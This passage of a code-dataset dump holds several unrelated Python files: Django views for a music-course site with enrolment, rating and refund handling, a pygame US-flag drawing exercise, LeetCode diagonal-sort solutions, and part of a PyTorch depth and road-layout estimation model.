get_object_or_404(Course, id=id, slug=slug, active=True)\n tutor = course.tutor\n person = request.user\n try:\n\n login_user = User.objects.get(username=person)\n\n students = course.students.values_list('user', flat=True)\n\n if login_user.id in students or login_user == tutor.user:\n\n video = Video.objects.filter(course=course)[0]\n\n video_id = video.id\n\n return redirect('courses:course_content', id=id, slug=slug, video_id=video_id)\n else:\n return redirect('courses:course_detail', id=id, slug=slug)\n except:\n return redirect('courses:course_detail', id=id, slug=slug)\n return redirect('courses:course_content', id=id, slug=slug, video_id=video_id)\n\n\n@login_required\ndef course_content(request, id, slug, video_id):\n can_refund = None\n rated = None\n reviews = None\n course = get_object_or_404(Course, id=id, slug=slug, active=True)\n person = request.user\n tutor = course.tutor\n try:\n login_user = User.objects.get(username=person)\n students = course.students.values_list('user', flat=True)\n student = Student.objects.get(user=login_user)\n if login_user.id in students or login_user == tutor.user:\n videos = Video.objects.filter(course=course)\n videos = videos.order_by('order')\n current_video = Video.objects.get(id=video_id)\n # refund query\n orders = Order.objects.filter(\n user=login_user, order_items__course=course)\n\n order = orders[0]\n print(orders)\n refund_period = order.refund_period\n\n time = timezone.now()\n\n if time <= refund_period:\n\n can_refund = True\n\n else:\n can_refund = False\n\n # review\n form = ReviewForm()\n\n if request.method == 'POST':\n form = ReviewForm(request.POST)\n if form.is_valid():\n review_comment = request.POST.get('review')\n revieww = Review.objects.create(\n review=review_comment,\n course=course,\n user=student\n )\n return HttpResponseRedirect(request.path_info)\n\n course_rating = 0\n\n if 'rate' in request.GET:\n rate = int(request.GET.get('rate'))\n rating = Rating.objects.create(\n rating=rate,\n course=course,\n user=student\n )\n ratings = Rating.objects.filter(course=course)\n total_rating = len(ratings)\n for r in ratings:\n course_rating += int(r.rating)\n course_rating = (course_rating)//total_rating\n course.total_rating = course_rating\n course.save()\n return HttpResponseRedirect(request.path_info)\n try:\n rated = Rating.objects.get(course=course, user=student)\n except:\n rated = None\n reviews = Review.objects.filter(course=course)\n\n else:\n return redirect('courses:course_detail', id=id, slug=slug)\n except:\n return redirect('courses:course_detail', id=id, slug=slug)\n\n return render(request, 'courses/course_content.html', {'can_refund': can_refund, 'rated': rated, 'course': course, 'form': form, 'videos': videos, 'current_video': current_video, 'video_id': video_id, 'reviews': reviews})\n\n\n@login_required\ndef course_add(request):\n time = timezone.now()\n thislist = str(time).split('.')\n thistime = str(thislist[0])\n timesigns = ['-', ':', '+', '.', ' ']\n for timesign in timesigns:\n thistime = thistime.replace(timesign, '')\n\n username = request.user\n user = User.objects.get(username=username)\n try:\n tutor = Instructor.objects.get(user=user)\n if request.method == 'POST':\n form = CourseAddForm(request.POST, request.FILES)\n if form.is_valid():\n course = form.save(commit=False)\n title = str(form.cleaned_data['title'])\n title_list = title.split(' ')\n title = '-'.join(title_list)\n slug = str(title)+'-'+thistime\n slug = slug.lower()\n course.tutor = tutor\n course.slug = slug\n course.save()\n\n return redirect('course_edit', id=course.id, slug=course.slug)\n else:\n form = CourseAddForm()\n except:\n return redirect('account:instructor_profile')\n\n return render(request, 'courses/course_add.html', {'form': form})\n\n\ndef course_edit(request, id, slug):\n course = None\n username = request.user\n user = User.objects.get(username=username)\n try:\n tutor = Instructor.objects.get(user=user)\n course = get_object_or_404(Course, id=id, slug=slug, tutor=tutor)\n videos = Video.objects.filter(course=course)\n videos = videos.order_by('order')\n form = CourseAddForm(instance=course)\n if request.method == 'POST':\n form = CourseAddForm(request.POST, request.FILES, instance=course)\n if form.is_valid():\n course = form.save(commit=False)\n title = str(form.cleaned_data['title'])\n title_list = title.split(' ')\n title = '-'.join(title_list)\n slug = str(username)+'-'+str(title)\n slug = slug.lower()\n course.tutor = tutor\n course.slug = slug\n course.save()\n\n return HttpResponseRedirect(request.path_info)\n except:\n return redirect('account:my_courses')\n\n return render(request, 'courses/course_edit.html', {'form': form, 'course': course, 'videos': videos})\n\n\n@login_required\ndef video_add(request, id, slug):\n user = User.objects.get(username=request.user)\n videos = None\n try:\n tutor = Instructor.objects.get(user=user)\n course = Course.objects.get(id=id, slug=slug, tutor=tutor)\n if request.method == 'POST':\n form = VideoAddForm(request.POST, request.FILES)\n if form.is_valid():\n video = form.save(commit=False)\n video.course = course\n video.save()\n course.active = True\n course.save()\n return redirect('course_edit', id=id, slug=slug)\n else:\n form = VideoAddForm()\n\n except ObjectDoesNotExist:\n return redirect('account:instructor_profile')\n\n except:\n return redirect('account:instructor_profile')\n\n return render(request, 'courses/add_video.html', {'course': course, 'form': form})\n\n\n@login_required\ndef video_edit(request, id, slug, video_id):\n video = None\n user = User.objects.get(username=request.user)\n try:\n tutor = Instructor.objects.get(user=user)\n course = Course.objects.get(id=id, slug=slug, tutor=tutor)\n video = Video.objects.get(id=video_id)\n if request.method == 'POST':\n form = VideoAddForm(request.POST, request.FILES, instance=video)\n if form.is_valid():\n video = form.save(commit=False)\n video.course = course\n video.save()\n return redirect('course_edit', id=id, slug=slug)\n else:\n form = VideoAddForm(instance=video)\n\n except ObjectDoesNotExist:\n return redirect('account:instructor_profile')\n\n except:\n return redirect('account:instructor_profile')\n\n return render(request, 'courses/video_edit.html', {'course': course, 'form': form, 'video': video})\n\n\n@login_required\ndef request_refund(request, id):\n form = None\n course = get_object_or_404(Course, id=id)\n person = request.user\n try:\n login_user = User.objects.get(username=person)\n students = course.students.values_list('user', flat=True)\n student = Student.objects.get(user=login_user)\n if login_user.id in students:\n # refund query\n orders = Order.objects.filter(\n user=login_user, order_items__course=course)\n\n # for orde in orders:\n # order = orde\n order = orders[0]\n refund_period = order.refund_period\n time = timezone.now()\n if time <= refund_period:\n form = RefundForm()\n if request.method == 'POST':\n form = RefundForm(request.POST)\n if form.is_valid():\n refund_reason = form.cleaned_data['refund_reason']\n # email\n subject = 'Request Refund'\n to = ['mb.musilearn@gmail.com']\n from_email = 'MusiLearn ' + '<' + \\\n str(settings.EMAIL_HOST_USER) + '>'\n\n ctx = {\n 'username': str(login_user.username),\n 'email': str(login_user.email),\n 'order_id': str(order.id),\n 'txn_id': str(order.txn_id),\n 'course': course,\n 'reason': refund_reason,\n\n }\n\n message = get_template(\n 'email/request_refund.html').render(context=ctx)\n msg = EmailMessage(\n subject, message, to=to, from_email=from_email)\n msg.content_subtype = 'html'\n msg.send()\n return redirect('process_refund')\n\n return render(request, 'courses/request_refund.html', {'form': form, 'course': course})\n\n else:\n return redirect('cannot_refund')\n else:\n return redirect('cannot_refund')\n except:\n return redirect('cannot_refund')\n\n\ndef cannot_refund(request, reason=None):\n return render(request, 'courses/cannot_refund.html')\n\n\ndef process_refund(request):\n return render(request, 'courses/process_refund.html')\n","repo_name":"BhattMukul/MusicCourses","sub_path":"courses/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24054147267","text":"#--------------------------------------------\r\n#Adam Clements\r\n#US Flag-\r\n# -Draw the US flag algorithmically\r\n# -Use some source for accuracy. Mine are the following:\r\n# -https://www.inchcalculator.com/american-flag-size-proportions-calculator/\r\n# -#https://www.legion.org/flag/questions-answers/91472/what-are-exact-shades-colors-blue-and-red\r\n# -ONLY USE 3 DRAW STATEMENTS\r\n# -use a sprite for the stars\r\n#-------------------------------------------\r\n#import the necessary inputs\r\nimport pygame, sys\r\nfrom pygame.locals import *\r\n\r\n\r\n#make a class for the 50 stars\r\nclass Star(pygame.sprite.Sprite):\r\n #overload with x and y coordinates\r\n def __init__(self,x,y):\r\n super().__init__()\r\n #set the size of the stars\r\n size = int(vSize*0.0616)\r\n #set the image and image size for the star\r\n self.image = pygame.transform.scale(starIMG,(size,size))\r\n #make a rectangle using the sprite\r\n self.rect = self.image.get_rect(center = (x,y))\r\nsz = \"\"\r\nwhile sz != \"l\" and sz != \"m\" and sz != \"s\":\r\n sz = input(\"What size for the flag? (s,m,l) \")\r\n if sz == \"l\":\r\n a = 650\r\n elif sz == \"m\":\r\n a = 390\r\n elif sz == \"s\":\r\n a = 130\r\n\r\nstarsList = pygame.sprite.Group()\r\n\r\ndef drawStars():\r\n\r\n y = int(vSize*.054)\r\n for a in range(5):\r\n x = int(vSize*0.063)\r\n for b in range(6):\r\n star = Star(x,y)\r\n starsList.add(star)\r\n x += int(vSize*.126)\r\n y += int(vSize*.108)\r\n y = int(vSize*.108)\r\n for a in range(4):\r\n x = int(vSize*.126)\r\n for b in range(5):\r\n star = Star(x,y)\r\n starsList.add(star)\r\n x += int(vSize*.126)\r\n y += int(vSize*.108)\r\n #--------THIRD DRAW STATEMENT----------\r\n starsList.draw(window)\r\n\r\n# Tell pygame to initialize\r\npygame.init()\r\n\r\n# Make a window\r\nvSize = a\r\nhSize = vSize*1.9\r\n\r\n# Pretty much the same no matter which code we're writing\r\nwindow = pygame.display.set_mode( (int(hSize), int(vSize)), 0, 32)\r\n#Create colors (based on colors link in top comment)\r\nRED = (191,10,48)\r\nBLUE = (0,40,104)\r\nWHITE = (255, 255, 255)\r\n\r\nwindow.fill(WHITE)\r\n\r\npygame.display.update()\r\nyloc = 0\r\nxloc = 0\r\nstarIMG = pygame.image.load('Star.png').convert_alpha()\r\n\r\nwhile True: # Main game loop\r\n for event in pygame.event.get():\r\n\r\n if event.type == QUIT:\r\n pygame.quit() # Quits pygame nicely\r\n sys.exit() # This actually closes the window\r\n #make a loop which runs 13 times (for the 13 stripes)\r\n for i in range(13):\r\n #mod operator to switch back and forth from red to white\r\n if (i%2) == 1:\r\n color = WHITE\r\n else:\r\n color = RED\r\n #---------FIRST DRAW STATEMENT--------\r\n pygame.draw.rect(window,color,(xloc,yloc,int(hSize),(vSize/13)))\r\n yloc += (vSize//13)\r\n #--------SECOND DRAW STATEMENT------------\r\n pygame.draw.rect(window,BLUE,(0,0,(vSize*.76),(vSize*.54)))\r\n #call the draw stars function\r\n drawStars()\r\n pygame.display.update()\r\n","repo_name":"AdamClements3/CS110","sub_path":"Python/Final/CS110USFlag.py","file_name":"CS110USFlag.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73888436532","text":"class Solution:\n def diagonalSort(self, mat: List[List[int]]) -> List[List[int]]:\n m, n = len(mat), len(mat[0])\n for i in range(m):\n for j in range(n):\n # sort diagonally\n for offset in range(min(m-i, n-j)):\n # move the smallest value to [i][j]\n if mat[i][j] > mat[i+offset][j+offset]:\n mat[i][j], mat[i+offset][j+offset] = mat[i+offset][j+offset], mat[i][j]\n return mat\n\n # Time: mxnxlog(min(m,n))\n # Space: mxn\n def diagonalSort(self, mat: List[List[int]]) -> List[List[int]]:\n m, n = len(mat), len(mat[0])\n hmap = defaultdict(list)\n for i in range(m):\n for j in range(n):\n heapq.heappush(hmap[i-j], mat[i][j])\n \n for i in range(m):\n for j in range(n):\n mat[i][j] = heapq.heappop(hmap[i-j])\n return mat\n\n # sort diag one by one using heap to save time\n # Time: mxnxlog(min(m,n))\n # Space: min(m,n) only store one diagonal\n def diagonalSort(self, mat: List[List[int]]) -> List[List[int]]:\n m, n = len(mat), len(mat[0])\n \n def helper(i, j):\n diag = []\n # sort the diagonal using heap\n for offset in range(min(m-i, n-j)):\n heapq.heappush(diag, mat[i+offset][j+offset])\n \n # populate the current diagonal\n for offset in range(min(m-i, n-j)):\n mat[i+offset][j+offset] = heapq.heappop(diag)\n \n # sort the first row and each diagonal starts on a col\n for i in range(n):\n helper(0, i)\n \n # sort the diagonal starts on a row\n for i in range(1, m):\n helper(i, 0)\n \n return mat\n\n\n # sort diag one by one using counting sort\n # Time: mxn\n # Space: min(m,n) only store one diagonal\n def diagonalSort(self, mat: List[List[int]]) -> List[List[int]]:\n m, n = len(mat), len(mat[0])\n \n def helper(i, j):\n # sort the entire diagonal using counting sort - O(n)\n counts = [0] * 100 # 1 <= mat[i][j] <= 100\n for offset in range(min(m-i, n-j)):\n counts[mat[i+offset][j+offset]-1] += 1\n \n # each diagonal can have min(m,n) numbers\n sortedNum = []\n for idx in range(len(counts)):\n while counts[idx]:\n sortedNum.append(idx+1)\n counts[idx] -= 1\n if len(sortedNum) == min(m,n): # early stop\n break\n \n # populate the current diagonal\n for offset in range(min(m-i, n-j)):\n mat[i+offset][j+offset] = sortedNum.pop(0) # constant since length = 100\n \n for i in range(n):\n helper(0, i)\n \n for i in range(1, m):\n helper(i, 0)\n \n return mat\n\nif __name__ == '__main__':\n s = Solution()\n print(s.diagonalSort([[3,3,1,1],[2,2,1,2],[1,1,1,2]])) # [[1,1,1,1],[1,2,2,2],[1,2,3,3]]\n\n\n\n\n \n","repo_name":"xiaofanc/leetcode","sub_path":"1329-sort-the-matrix-diagonally.py","file_name":"1329-sort-the-matrix-diagonally.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10167304541","text":"from __future__ import absolute_import, division, print_function\nimport torch\nimport torch.nn.functional as F\nimport torch.nn as nn\nfrom .dice_loss import IoULoss, TverskyLoss, SoftDiceLoss\nfrom .focal_loss import FocalLoss\nfrom .boundary_loss import BDLoss\nfrom .layers import SSIM, Backproject, Project, disp_to_depth, SE3\nfrom .depth_encoder import DepthEncoder\nfrom .depth_decoder import DepthDecoder\nfrom .pose_encoder import PoseEncoder\nfrom .pose_decoder import PoseDecoder\nfrom ..registry import MONO\nfrom .layout_model import Encoder, Decoder\nfrom .CycledViewProjection import CycledViewProjection\nfrom .CrossViewTransformer import CrossViewTransformer\nimport imageio\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.ndimage\nimport cv2\n# from argoverse.utils.se3 import SE3\nimport pykitti\nimport os\n#from thop import clever_format\n#from thop import profile\nimport torchvision\nfrom torchvision import transforms\nfrom torchgeometry.core.imgwarp import warp_perspective\nfrom torchgeometry.core.transformations import transform_points\nnp.set_printoptions(threshold=np.inf)\n@MONO.register_module\nclass Baseline(nn.Module):\n def __init__(self, options):\n super(Baseline, self).__init__()\n self.opt = options\n # print(\"option keys-------------\", self.opt.keys())\n self.num_input_frames = len(self.opt.frame_ids)\n self.DepthEncoder = DepthEncoder(self.opt.depth_num_layers,\n self.opt.depth_pretrained_path)\n self.DepthDecoder = DepthDecoder(self.DepthEncoder.num_ch_enc)\n self.PoseEncoder = PoseEncoder(self.opt.pose_num_layers,\n self.opt.pose_pretrained_path,\n num_input_images=2)\n self.PoseDecoder = PoseDecoder(self.PoseEncoder.num_ch_enc)\n self.LayoutEncoder = Encoder(self.opt.depth_num_layers, True)\n self.CycledViewProjection = CycledViewProjection(in_dim=self.opt.occ_map_size//32)\n self.CrossViewTransformer = CrossViewTransformer(128)\n self.LayoutDecoder = Decoder(\n self.LayoutEncoder.resnet_encoder.num_ch_enc, self.opt.num_class)\n self.LayoutTransformDecoder = Decoder(\n self.LayoutEncoder.resnet_encoder.num_ch_enc, self.opt.num_class, \"transform_decoder\")\n\n # self.LayoutEncoderB = Encoder(self.opt.depth_num_layers, True)\n self.CycledViewProjectionB = CycledViewProjection(in_dim=self.opt.occ_map_size // 32)\n self.CrossViewTransformerB = CrossViewTransformer(128)\n self.LayoutDecoderB = Decoder(\n self.LayoutEncoder.resnet_encoder.num_ch_enc, self.opt.num_class)\n self.LayoutTransformDecoderB = Decoder(\n self.LayoutEncoder.resnet_encoder.num_ch_enc, self.opt.num_class, \"transform_decoder\")\n\n self.ssim = SSIM()\n self.backproject = Backproject(self.opt.imgs_per_gpu, self.opt.height, self.opt.width)\n self.project_3d = Project(self.opt.imgs_per_gpu, self.opt.height, self.opt.width)\n self.weight = {\"static\": self.opt.static_weight, \"dynamic\": self.opt.dynamic_weight}\n\n\n def forward(self, inputs):\n depth_feature = self.DepthEncoder(inputs[\"color_aug\", 0, 0])\n\n outputs = self.DepthDecoder(depth_feature)\n\n outputs.update(self.predict_layout(inputs, depth_feature)[0])\n encoder_features = self.predict_layout(inputs, depth_feature)[1]\n outputs.update(self.predict_layoutB(inputs, depth_feature, encoder_features))\n # outputs.update(self.predict_poses(inputs))\n if self.training:\n outputs.update(self.predict_poses(inputs))\n loss_dict = self.compute_losses(inputs, outputs)\n return outputs, loss_dict\n\n return outputs\n\n def robust_l1(self, pred, target):\n eps = 1e-3\n return torch.sqrt(torch.pow(target - pred, 2) + eps ** 2)\n\n def compute_reprojection_loss(self, pred, target):\n photometric_loss = self.robust_l1(pred, target).mean(1, True)\n ssim_loss = self.ssim(pred, target).mean(1, True)\n reprojection_loss = (0.85 * ssim_loss + 0.15 * photometric_loss)\n return reprojection_loss\n\n def compute_losses(self, inputs, outputs):\n loss_dict = {}\n if self.opt[\"type\"] == \"static_raw\" or self.opt[\"type\"] == \"static\" or self.opt[\"type\"] == \"Argo_static\" or self.opt[\"type\"] == \"Argo_both\":\n\n weightS = torch.Tensor([1., self.weight[\"static\"]])\n if self.opt[\"type\"] == \"dynamic\" or self.opt[\"type\"] == \"Argo_dynamic\" or self.opt[\"type\"] == \"Argo_both\":\n weightD = torch.Tensor([1., self.weight[\"dynamic\"]])\n if self.opt[\"type\"] == \"static\" or self.opt[\"type\"] == \"static_raw\" or self.opt[\"type\"] == \"Argo_static\":\n scale_label = self.get_scale_label_static(inputs, self.opt)\n elif self.opt[\"type\"] == \"dynamic\" or self.opt[\"type\"] == \"Argo_dynamic\":\n scale_label = self.get_scale_label_dynamic(inputs, self.opt)\n elif self.opt[\"type\"] == \"Argo_both\":\n scale_label = self.get_scale_label_both(inputs, self.opt)\n loss_dict[\"topview_loss\"] = 0\n loss_dict[\"transform_topview_loss\"] = 0\n loss_dict[\"transform_loss\"] = 0\n loss_dict[\"topview_lossB\"] = 0\n loss_dict[\"transform_topview_lossB\"] = 0\n loss_dict[\"transform_lossB\"] = 0\n loss_dict[\"topview_loss\"] = self.compute_topview_loss(\n outputs[\"topview\"],\n inputs[\"bothS\",0,0],\n weightS, self.opt)\n loss_dict[\"transform_topview_loss\"] = self.compute_topview_loss(\n outputs[\"transform_topview\"],\n inputs[\"bothS\",0,0],\n weightS, self.opt)\n loss_dict[\"transform_loss\"] = self.compute_transform_losses(\n outputs[\"features\"],\n outputs[\"retransform_features\"])\n loss_dict[\"layout_loss\"] = loss_dict[\"topview_loss\"] + 0.001 * loss_dict[\"transform_loss\"] \\\n + 1 * loss_dict[\"transform_topview_loss\"]\n loss_dict[\"topview_lossB\"] = self.compute_topview_lossB(\n outputs[\"topviewB\"],\n inputs[\"bothD\", 0, 0],\n weightD, self.opt)\n loss_dict[\"transform_topview_lossB\"] = self.compute_topview_lossB(\n outputs[\"transform_topviewB\"],\n inputs[\"bothD\", 0, 0],\n weightD, self.opt)\n loss_dict[\"transform_lossB\"] = self.compute_transform_losses(\n outputs[\"featuresB\"],\n outputs[\"retransform_featuresB\"])\n loss_dict[\"layout_lossB\"] = loss_dict[\"topview_lossB\"] + 0.001 * loss_dict[\"transform_lossB\"] \\\n + 1 * loss_dict[\"transform_topview_lossB\"]\n for scale in self.opt.scales:\n \"\"\"\n initialization\n \"\"\"\n # start3 = time.time()\n\n disp = outputs[(\"disp\", 0, scale)]\n _, depth = disp_to_depth(disp, self.opt.min_depth, self.opt.max_depth)\n outputs[(\"depth\", 0, scale)] = depth\n target = inputs[(\"color\", 0, 0)]\n reprojection_losses = []\n\n \"\"\"\n reconstruction\n \"\"\"\n outputs = self.generate_images_pred(inputs, outputs, scale)\n\n \"\"\"\n automask\n \"\"\"\n if self.opt.automask:\n for frame_id in self.opt.frame_ids[1:]:\n pred = inputs[(\"color\", frame_id, 0)]\n identity_reprojection_loss = self.compute_reprojection_loss(pred, target)\n identity_reprojection_loss += torch.randn(identity_reprojection_loss.shape).cuda() * 1e-5\n reprojection_losses.append(identity_reprojection_loss)\n\n \"\"\"\n minimum reconstruction loss\n \"\"\"\n for frame_id in self.opt.frame_ids[1:]:\n pred = outputs[(\"color\", frame_id, scale)]\n reprojection_losses.append(self.compute_reprojection_loss(pred, target))\n reprojection_loss = torch.cat(reprojection_losses, 1)\n\n min_reconstruct_loss, outputs[(\"min_index\", scale)] = torch.min(reprojection_loss, dim=1)\n loss_dict[('min_reconstruct_loss', scale)] = min_reconstruct_loss.mean()/len(self.opt.scales)\n scale_loss = self.get_scale_loss(inputs, outputs, scale, scale_label)\n loss_dict[('scale_loss', scale)] = self.opt.scale_weight * scale_loss / (2 ** scale) / len(\n self.opt.scales)\n \"\"\"\n disp mean normalization\n \"\"\"\n if self.opt.disp_norm:\n mean_disp = disp.mean(2, True).mean(3, True)\n disp = disp / (mean_disp + 1e-7)\n\n \"\"\"\n smooth loss\n \"\"\"\n smooth_loss = self.get_smooth_loss(disp, target)\n loss_dict[('smooth_loss', scale)] = self.opt.smoothness_weight * smooth_loss / (2 ** scale)/len(self.opt.scales)\n\n return loss_dict\n def get_scale_loss(self, inputs, outputs, scale, scale_label):\n depth_pred = outputs[(\"depth\", 0, scale)]\n shape = scale_label.shape[2:4]\n depth_pred = torch.clamp(F.interpolate(\n depth_pred, shape, mode=\"bilinear\", align_corners=False), 1e-3, 80)\n\n depth_gt = scale_label\n mask = depth_gt > 0\n if self.opt[\"type\"] == \"static_raw\":# or self.opt[\"type\"] == \"static\":\n # garg/eigen crop\n crop_mask = torch.zeros_like(mask)\n crop_mask[:, :, 153:371, 44:1197] = 1\n mask = mask * crop_mask\n\n depth_gt = torch.masked_select(depth_gt, mask)\n depth_pred = torch.masked_select(depth_pred, mask)\n # depth_pred = depth_pred[mask]\n abs_rel_loss = torch.mean(torch.abs(depth_gt - depth_pred) / depth_gt)\n return abs_rel_loss\n def get_scale_label_static(self, inputs, opt):\n # if there is only road label, then the intersection of the assumption region and road region is used as scale label\n # the assumption region is a rectangle area in front of the ego car\n img_front = inputs[(\"color\", 0, -1)]\n mapsize = opt.occ_map_size\n # img_front shape [128, 128, 3]\n # img batch [8, 3, 128, 128]\n height, width = img_front.shape[2:4]\n\n fig = plt.figure(figsize=(15, 10))\n bev_img_layout = inputs[(\"bothS\", 0, 0)]\n resolution = 40 / mapsize\n resolution1 = mapsize / 40\n if bev_img_layout.shape[2]!= mapsize or bev_img_layout.shape[3]!= mapsize:\n raise ValueError(\"The shape of both label is not \", mapsize)\n batchsize = bev_img_layout.shape[0]\n h = w = mapsize\n if opt.split == \"argo\":\n z = torch.arange(mapsize, 0, step=-1).view(1, 1, h, 1).repeat(batchsize, 1, 1, w) * (40 / mapsize) - 1.9\n elif opt.split == \"raw\" or \"odometry\":\n\n z = torch.arange(mapsize, 0, step=-1).view(1, 1, h, 1).repeat(batchsize, 1, 1, w) * (40 / mapsize) - 0.27\n bev_layout_distance_label = z.cuda()\n points_real = [(round(18 * resolution1), round(31 * resolution1)),\n (round(22 * resolution1), round(31 * resolution1)),\n (round(18 * resolution1), round(33 * resolution1)),\n (round(22 * resolution1), round(33 * resolution1))]\n bev_img_layout = torch.fliplr(bev_img_layout)\n bev_layout_distance_label = torch.fliplr(bev_layout_distance_label)\n bev_img_layout = torchvision.transforms.functional.rotate(bev_img_layout, angle=270)\n bev_layout_distance_label = torchvision.transforms.functional.rotate(bev_layout_distance_label, angle=270)\n points_real_rot = [[mapsize - points_real[3][1] - 1, points_real[0][0] - 1],\n [mapsize - points_real[3][1] + (points_real[2][1] - points_real[1][1]) - 1,\n points_real[0][0] - 1],\n [mapsize - points_real[3][1] - 1, points_real[1][0] - 1],\n [mapsize - points_real[3][1] + (points_real[2][1] - points_real[1][1]) - 1,\n points_real[1][0] - 1]]\n\n K = inputs[(\"odometry_K\", 0, 0)][:,:3,:3]\n batchsize = K.shape[0]\n Tr_cam2_velo = inputs[(\"Tr_cam2_velo\", 0, 0)]\n camera_SE3_egovehicleO = Tr_cam2_velo\n camera_R_egovehicle = camera_SE3_egovehicleO[:, :3, :3]\n camera_t_egovehicle = camera_SE3_egovehicleO[:, :3, 3]\n camera_SE3_egovehicle = SE3(rotation=camera_R_egovehicle, translation=camera_t_egovehicle)\n if opt.split == \"argo\":\n HEIGHT_FROM_GROUND = 0.33\n elif opt.split == \"raw\" or opt.split == \"odometry\":\n HEIGHT_FROM_GROUND = 1.73 # in meters,\n ground_rotation = torch.eye(3).repeat(batchsize,1,1)\n ground_translation = torch.Tensor([0, 0, HEIGHT_FROM_GROUND]).repeat(batchsize,1)\n ground_SE3_egovehicle = SE3(rotation=ground_rotation, translation=ground_translation)\n egovehicle_SE3_ground = ground_SE3_egovehicle(None, \"inverse\")\n\n camera_SE3_ground = camera_SE3_egovehicle(egovehicle_SE3_ground,\"right_multiply_with_se3\")\n img_H_ground=self.homography_from_calibration(camera_SE3_ground, K)\n ground_H_img = torch.linalg.inv(img_H_ground)\n LATERAL_EXTENT = 20 # look 20 meters left and right\n FORWARD_EXTENT = 40 # look 40 meters ahead\n\n # in meters/px\n out_width = int(FORWARD_EXTENT / resolution)\n out_height = int(LATERAL_EXTENT * 2 / resolution)\n\n RESCALING = 1 / resolution # pixels/meter, if rescaling=1, then 1 px/1 meter\n SHIFT = int(out_width // 2)\n shiftedground_H_ground = torch.Tensor(\n [\n [RESCALING, 0, 0],\n [0, RESCALING, SHIFT],\n [0, 0, 1]\n ]).repeat(batchsize, 1, 1).cuda()\n shiftedground_H_img = torch.bmm(shiftedground_H_ground, ground_H_img)\n restore_front_layout = warp_perspective(bev_img_layout, torch.linalg.inv(shiftedground_H_img),\n dsize=(height, width))\n restore_front_bev_layout_distance_label = warp_perspective(bev_layout_distance_label,\n torch.linalg.inv(shiftedground_H_img),\n dsize=(height, width))\n\n layout_mask = restore_front_layout\n points_real_rot = np.asarray(points_real_rot)\n points_real_rot = torch.tensor(points_real_rot,dtype=torch.float32).repeat(batchsize,1,1).cuda()\n newPointsO = torch.round(transform_points(torch.linalg.inv(shiftedground_H_img), points_real_rot)).int()#(B,4,3)\n newPoints = newPointsO.cpu()\n pts = np.array(\n [[newPoints[0][0][0], newPoints[0][0][1]], [newPoints[0][2][0], newPoints[0][2][1]], [newPoints[0][3][0], newPoints[0][3][1]],\n [newPoints[0][1][0], newPoints[0][1][1]]])\n pts = np.round(pts).astype(np.int32)\n pts = pts.reshape((-1, 1, 2))\n imgshape = [img_front.shape[2:4][0], img_front.shape[2:4][1], 3]\n img_zero = np.zeros(imgshape, dtype=np.uint8)\n restore_front_layout = cv2.fillConvexPoly(img_zero, pts, (0, 255, 255), 1)\n img_gray_roi_mask_triangle = cv2.cvtColor(restore_front_layout, cv2.COLOR_RGB2GRAY)\n img_gray_roi_mask_triangle[img_gray_roi_mask_triangle > 0] = 255\n img_gray_roi_mask_triangle = torch.tensor(img_gray_roi_mask_triangle).repeat(batchsize,1,1).unsqueeze(1).cuda()\n layout_mask = layout_mask.type_as(img_gray_roi_mask_triangle)\n A_and_B = torch.bitwise_and(layout_mask, img_gray_roi_mask_triangle)\n restore_front_bev_layout_distance_label = restore_front_bev_layout_distance_label * A_and_B\n return restore_front_bev_layout_distance_label\n def get_scale_label_dynamic(self, inputs, opt):\n # if there is only object label, then the assumption region is used as scale label\n # the assumption region is a rectangle area in front of the ego car\n\n img_front = inputs[(\"color\", 0, -1)]\n # img_front shape [128, 128, 3]\n # img batch [8, 3, 128, 128]\n mapsize = opt.occ_map_size\n height, width = img_front.shape[2:4]\n bev_img_layout = inputs[(\"bothS\", 0, 0)]\n resolution = 40 / mapsize\n resolution1 = mapsize / 40\n if bev_img_layout.shape[2]!= mapsize or bev_img_layout.shape[3]!= mapsize:\n raise ValueError(\"The shape of both label is not \", mapsize)\n batchsize = bev_img_layout.shape[0]\n h = w = mapsize\n if opt.split == \"argo\":\n z = torch.arange(mapsize, 0, step=-1).view(1, 1, h, 1).repeat(batchsize, 1, 1, w) * (40 / mapsize) - 1.9\n elif opt.split == \"raw\" or \"odometry\":\n z = torch.arange(mapsize, 0, step=-1).view(1, 1, h, 1).repeat(batchsize, 1, 1, w) * (40 / mapsize) # - 0.27\n bev_layout_distance_label = z.cuda()\n points_real = [(round(18 * resolution1), round(31 * resolution1)),\n (round(22 * resolution1), round(31 * resolution1)),\n (round(18 * resolution1), round(33 * resolution1)),\n (round(22 * resolution1), round(33 * resolution1))]\n bev_layout_distance_label = torch.fliplr(bev_layout_distance_label)\n bev_layout_distance_label = torchvision.transforms.functional.rotate(bev_layout_distance_label, angle=270)\n points_real_rot = [[mapsize - points_real[3][1] - 1, points_real[0][0] - 1],\n [mapsize - points_real[3][1] + (points_real[2][1] - points_real[1][1]) - 1,\n points_real[0][0] - 1],\n [mapsize - points_real[3][1] - 1, points_real[1][0] - 1],\n [mapsize - points_real[3][1] + (points_real[2][1] - points_real[1][1]) - 1,\n points_real[1][0] - 1]]\n K = inputs[(\"odometry_K\", 0, 0)][:, :3, :3]\n batchsize = K.shape[0]\n Tr_cam2_velo = inputs[(\"Tr_cam2_velo\", 0, 0)]\n camera_SE3_egovehicleO = Tr_cam2_velo\n camera_R_egovehicle = camera_SE3_egovehicleO[:, :3, :3]\n camera_t_egovehicle = camera_SE3_egovehicleO[:, :3, 3]\n camera_SE3_egovehicle = SE3(rotation=camera_R_egovehicle, translation=camera_t_egovehicle)\n\n if opt.split == \"argo\":\n HEIGHT_FROM_GROUND = 0.33\n elif opt.split == \"raw\" or \"odometry\":\n HEIGHT_FROM_GROUND = 1.73 # in meters,\n ground_rotation = torch.eye(3).repeat(batchsize,1,1)\n\n ground_translation = torch.Tensor([0, 0, HEIGHT_FROM_GROUND]).repeat(batchsize,1)\n\n ground_SE3_egovehicle = SE3(rotation=ground_rotation, translation=ground_translation)\n egovehicle_SE3_ground = ground_SE3_egovehicle(None, \"inverse\")\n camera_SE3_ground = camera_SE3_egovehicle(egovehicle_SE3_ground,\"right_multiply_with_se3\")\n img_H_ground=self.homography_from_calibration(camera_SE3_ground, K)\n 